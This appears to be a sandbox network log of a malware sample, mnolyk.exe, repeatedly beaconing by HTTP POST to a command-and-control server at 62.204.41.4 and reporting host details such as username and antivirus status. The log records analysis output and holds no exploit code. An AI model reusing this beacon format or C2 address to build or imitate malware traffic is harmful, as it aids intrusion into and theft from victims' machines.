Feb 7, 2023 23:08:41.341686964 CET	481	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:41.406538963 CET	481	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.2.7	50062	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:41.588090897 CET	482	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:41.653572083 CET	482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.7	50063	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:41.843312979 CET	483	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:41.907038927 CET	483	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.2.7	50064	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:42.089378119 CET	484	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:42.152475119 CET	484	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	49731	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:10.568753004 CET	141	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:10.632441998 CET	141	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.7	50065	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:42.321938038 CET	485	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:42.387288094 CET	485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.2.7	50066	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:42.558660030 CET	486	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:42.624227047 CET	486	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.2.7	50067	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:42.809417963 CET	487	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:42.874066114 CET	487	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.2.7	50068	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:43.057009935 CET	488	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:43.122375011 CET	488	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	192.168.2.7	50069	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:43.290159941 CET	489	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:43.354147911 CET	489	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.2.7	50070	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:43.541726112 CET	490	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:43.606462002 CET	490	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	192.168.2.7	50071	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:43.808187962 CET	491	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:43.872343063 CET	491	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	192.168.2.7	50072	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:44.049737930 CET	492	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:44.112437963 CET	492	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.2.7	50073	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:44.306613922 CET	493	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:44.371047020 CET	493	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	192.168.2.7	50074	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:44.559818983 CET	494	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:44.626315117 CET	494	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	49732	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:10.829865932 CET	142	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:10.893610001 CET	142	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.2.7	50075	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:44.816817045 CET	495	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:44.882617950 CET	495	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	192.168.2.7	50076	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:45.054389000 CET	496	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:45.116996050 CET	496	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.2.7	50077	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:45.296740055 CET	497	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:45.363030910 CET	497	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	192.168.2.7	50078	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:45.546416044 CET	498	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:45.609366894 CET	498	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.2.7	50079	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:45.791596889 CET	499	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:45.856878042 CET	499	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	192.168.2.7	50080	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:46.056281090 CET	500	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
